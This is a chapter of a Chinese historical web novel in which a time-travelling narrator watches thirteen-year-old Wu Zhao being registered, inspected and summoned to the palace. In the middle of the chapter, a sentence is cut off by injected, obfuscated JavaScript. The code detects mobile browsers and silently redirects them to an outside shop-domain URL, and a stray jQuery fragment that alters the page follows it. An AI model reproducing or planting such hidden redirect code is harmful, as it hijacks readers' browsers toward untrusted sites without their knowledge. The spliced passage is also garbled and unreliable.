“官府来文了。”
春枝说完这句话，武照捏着纸页的手没有动，指节却一点点泛了白。
过去这些日子里，长安已经通过家书、商旅、旧交、族人和那个身份暧昧的高文简，以各种不同的方式进入武家的生活。所有人都知道事情正在靠近，可只要没有真正落到纸面上，就总还能在心里留下一小块地方告诉自己：也许最后不会来。
现在那块地方没了。
武照站起来的时候比沈知闲预想得平静，只把袖中那张问题单重新折好，塞回去：“走吧。”
沈知闲跟在她身后。
去杨氏院里的路，她们这一个月已经走过很多次。第一次是因为一封含糊的长安来信，后来是族中来人，再后来是高文简，如今景物没有任何变化，院墙、石阶、树影都还是原来的样子，可沈知闲很清楚，这一次和前面都不同。
因为纸上的字会进入档案。
而一旦进入正式流程，很多事情就不再由武家自己决定。
正厅里除了杨氏，还有郑管事和一名利州官府来的吏员。桌上摆着公文，吏员态度算不上谄媚，却明显比平常处理武家事务时更加谨慎。见武照进来，他特意看了一眼，随后才向杨氏解释，此次并非最终入宫诏命，而是奉上意核报勋旧之家适龄未嫁女子，应国公武士彟旧有功勋，家中女儿自然在列，需将籍贯、年岁、亲属、婚配等情况据实呈报，之后若有进一步召看，自会另行通知。
这和郑管事此前打听到的消息基本一致。
可当同样的话由一个穿官服的人坐在武家正厅里说出来时，分量完全不同。
杨氏没有问能不能不报。
她显然知道这个问题没有意义，只把所有需要呈报的内容逐项问清：报哪一个女儿，是否所有适龄女子都要报，婚配情况如何认定，之后若有核验从哪里来人，大约需要等多久。
吏员能答的便答，不能答的只说上面尚未明确。
轮到武照时，对方又问了一遍年岁。
“十三。”
“可曾定亲？”
“未曾。”
“读过书？”
“读过。”
“女红如何？”
武照停了一瞬：“会一些。”
吏员低头记下，没有评价。
整个过程简单得让沈知闲产生一种不真实感。没有人问武照想不想去，也没有人讨论她未来可能面对什么，甚至没有任何庄严的仪式，一个十三岁女孩的人生就这样被压缩成年岁、籍贯、父亲、婚配和几行简短的情况说明，写进一份即将送往长安的文书。
沈知闲上辈子见过太多表格。
人员名单、基本情况、联系方式、身份信息，活生生的人到了表里，总会被压缩成几个字段。以前她从没觉得有什么，因为行政运转本就需要标准化信息；现在看着武照站在那张桌子旁边，她第一次如此清楚地感觉到，表格本身没有恶意，可当决定一个人未来的人只看得见表格时，被写进去的人就会显得格外小。
吏员离开以后，杨氏没有马上说话。
武照却先问：“报的是我？”
“你阿姐已有婚事上的议论，年岁也不同，这次主要问的是你。”
“所以我的名字现在会送到长安？”
“是。”
武照点头，低头看了一眼刚才吏员坐过的位置：“那他只是负责把我的名字送上去？”
杨氏看着她：“大概如此。”
“他不知道谁会选，也不知道什么时候选。”
“嗯。”
“可他来了以后，我们就必须报。”
杨氏沉默片刻：“因为他代表的不是他自己。”
武照没有继续问。
沈知闲却知道她已经听懂了。
真正让人服从的从来不是刚才那个普通吏员，而是他身后那条一直通往长安、最终通往皇帝的权力链条。那个吏员甚至可能没有任何决定权，可当他拿着正式公文进门以后，武家就必须回答。
这比高文简那次拜访更直观。
权力终于从一个抽象词变成了一套能够沿道路、文书和官吏抵达利州的东西。
当日下午，武家的气氛便变了。
消息不知道从哪里传出去，武元庆很快派人来问，族中也有人登门。有人已经开始说这是应国公留下的恩泽，若武家女儿能入宫侍奉天子，是整个武氏的荣耀。
武照没有去见。
她坐在清竹院里，把那张宫中问题单摊开，半天只添了一句话：
“公文是谁发的？”
沈知闲看见以后问：“为什么写这个？”
“因为我以前只想知道进宫以后谁管我。”
武照握着笔，“现在我想知道，是谁决定让我进去。”
沈知闲没有回答。
这个问题已经超出了她目前能够陪武照查清楚的范围。
晚上杨氏过来时，武照把同样的问题问了一遍。杨氏只说最后自然是天子的意思，至于具体由谁提出、谁核验、谁将名字送到御前，不是她们现在能知道的。
武照把这句话也记了下来。
沈知闲忽然觉得，那张最初只是为了缓解未知而画出来的纸，已经开始发生变化。
它不再只是“进宫以后怎么生活”。
武照正在沿着一件发生在自己身上的事情，反过来寻找那件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944467|213682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事情究竟是怎么发生的。
又过了七日，真正负责核验的人到了利州。
这一次过程更加明确。
核家世，核年岁，核婚配，看仪容，问读书与教养。武照按照宋媪教过的礼节完成了所有步骤，没有故意表现，也没有故意出错。沈知闲站在屏风后面看着她，发现这个平日在清竹院里总要追问到底的女孩，真正需要安静时可以安静得出奇。
她不是屈服。
她只是已经明白，在没有能力改变规则的时候，毫无意义地撞上去，只会先把自己撞伤。
核验结束后的第四日，长安的正式召令终于到了。
武氏女照，年十三，入京候召。
杨氏读完以后，手在纸上停了很久。
武照站在她面前，没有问愿不愿意，也没有问还有没有别的办法，只轻声道：“什么时候走？”
“十日之内。”
“这么快？”
“嗯。”
这一次，武照终于没有继续维持那种过分平静的样子。
她转头看向窗外。
清竹院外的树已经开始有了初秋的颜色，她在这里住了很多年，知道哪一块石阶下雨最滑，知道春枝什么时候会来添茶，知道母亲的院子走哪条路最快，也知道姐姐在哪个时辰最可能过来。
十日以后，这些东西都会留在这里。
只有她走。
沈知闲站在一旁，第一次发现武照真正害怕的时候并不会说很多话。
她只是忽然变得很安静。
杨氏走过去替女儿理了理鬓边的头发：“先收拾东西。”
武照低声问：“阿娘，你希望我去吗？”
杨氏动作停了一下。
“我希望不重要。”
“对我重要。”
杨氏看着她，最终没有说那些所有人都在说的“这是荣耀”，也没有假装这件事值得欢喜：“我不希望。”
武照眼眶一下红了。
杨氏却继续道：“可诏令既到，我们不能不去。既然必须去，就别只顾着怕，把能带的东西带好，把该知道的事情记住。进去以后别急着争什么，也别因为别人看轻你便非要证明自己。先看清楚，再决定怎么走。”
武照点头。
母女二人都没有哭。
沈知闲悄悄退了出去。
她觉得有些场合不属于自己。
当天傍晚，武宅开始真正收拾行李。
而沈知闲依旧没有收拾自己的。
因为按照她原本的计划，十日以后离开利州的人只有武照。
她会留下。
这个决定到那时为止，仍然非常坚定。